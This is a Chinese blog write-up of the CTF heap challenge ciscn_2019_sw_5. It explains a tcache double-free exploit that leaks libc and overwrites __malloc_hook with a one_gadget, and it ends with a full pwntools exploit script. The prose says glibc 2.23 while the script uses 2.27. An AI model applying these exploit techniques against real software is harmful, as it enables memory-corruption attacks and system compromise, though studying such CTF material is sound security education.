ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法)

161 篇文章 9 订阅
161 篇文章 9 订阅

ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,仅两个功能

其中,delete功能只能用3次,delete功能没有清空指针,存在double free漏洞。

Add功能,size不可控,结尾printf可以输出堆内容。

我们可以利用add结尾的printf输出,main_arean地址,那么,我们需要得到unsorted bin才行。由于delete功能仅有3次机会。Glibc版本为2.23,存在tcache,因此,我们先利用2次,构造一个double free,然后分配到tcache 的表头,篡改对应size的chunk count为-1,同时篡改对应0x80的chunk头chunk指针为伪造的chunk地址,由于不知道堆地址,因此,我们需要爆破半个字节。

首先,申请三个堆

  #0
   add('t1','a')
   #1
   add('t2','b')
   #2前0x18字节将划给后面伪造的0x100的chunk
   fake_chunk = 'c'*0x8 + p64(0) + p64(0x61)
   add('t3',fake_chunk)

由于,我们要在0~2之间伪造一个0x100的chunk,因此,t3的前0x18字节划分给了伪造的chunk,而要想之后成功释放这个伪造的chunk,而不报错,我们还需要把后面剩余的部分修复好,因此,在t3里,我们修复剩余的空间为0x61的chunk。

接下来,double free,然后篡改next指针

   #double free
   delete(0)
   delete(0)
   #攻击tcache bin表头
   add('\x1E\x70','a')

接下来,第一次申请,申请到0原来的位置,我们开始伪造chunk

   #3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表
   add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))

我们伪造的chunk如上图,之所以这么伪造,是因为最后一次delete是要用来得到unsorted bin的,首先,当我们申请到0x280处时,0x100的tcache bin头变更为0x270。此时,我们delete掉0x100的伪造chunk后0x280处保留了main_arena地址。接下来我们申请0x270处,tcache bin头变更为0x268,我们填充数据到0x280,然后,就可以泄露出0x280处的main_arena值。接下来,我们申请到0x268,tcache bin头变更为0x280,然后我们从0x268处开始向后写数据,在0x280处写上malloc_hook的地址。此时,tcache链表的布局变成了

0x280——malloc_hook

因此,我们继续申请,就能申请到malloc_hook处,完成利用,十分巧妙。

   #4修改tcache bin表头,修改0x80的头为heap_base + 0x280
   payload = '\x00'*0x5A + p64(heap_base + 0x280)
   #修改0x100的count为-1
   add('\xFF',payload) #5
   #申请到heap_base + 0x280处即伪造chunk
   add('t1','a') #6
   #得到unsorted bin
   delete(6)
   add('a'*0x8,'a'*0x10)
   sh.recvuntil('a'*0x18)
   main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))

综上,完整的exp

#coding:utf8
from pwn import *

#context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget_s = 0x10a38c

def add(title,content):
   sh.sendlineafter('>>','1')
   sh.sendafter('title:',title)
   sh.sendafter('content:',content)

def delete(index):
   sh.sendlineafter('>>','2')
   sh.sendlineafter('index:',str(index))

def exploit():
   #0
   add('t1','a')
   #1
   add('t2','b')
   #2前0x18字节将划给后面伪造的0x100的chunk
   fake_chunk = 'c'*0x8 + p64(0) + p64(0x61)
   add('t3',fake_chunk)

   #double free
   delete(0)
   delete(0)
   #攻击tcache bin表头
   add('\x1E\x70','a')
   sh.recvuntil('\n')
   heap_base = u64(sh.recv(6).ljust(8,'\x00')) & (0xFFFFFFFFFFFFFF00)
   print 'heap_base=',hex(heap_base)
   #3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表
   add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))
   #4修改tcache bin表头,修改0x80的头为heap_base + 0x280
   payload = '\x00'*0x5A + p64(heap_base + 0x280)
   #修改0x100的count为-1
   add('\xFF',payload) #5
   #申请到heap_base + 0x280处即伪造chunk
   add('t1','a') #6
   #得到unsorted bin
   delete(6)
   add('a'*0x8,'a'*0x10)
   sh.recvuntil('a'*0x18)
   main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
   malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
   libc_base = malloc_hook_addr - malloc_hook_s
   if libc_base >> 40 != 0x7F:
      raise Exception('error leak!')
   one_gadget_addr = libc_base + one_gadget_s
   print 'libc_base=',hex(libc_base)
   print 'malloc_hook_addr=',hex(malloc_hook_addr)
   print 'one_gadget_addr=',hex(one_gadget_addr)
   #申请到heap_base+0x268处,覆盖0x280处的next指针
   add('a','a'*0x10 + p64(malloc_hook_addr))
   add('a','a')
   #改写malloc_hook
   add(p64(one_gadget_addr),'\x00')
   #getshell
   sh.sendlineafter('>>','1')

while True:
   try:
      global sh
      sh = process('./ciscn_2019_sw_5')
      #sh = remote('node3.buuoj.cn',29046)
      exploit()
      sh.interactive()
   except:
      sh.close()
      print 'trying...'
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值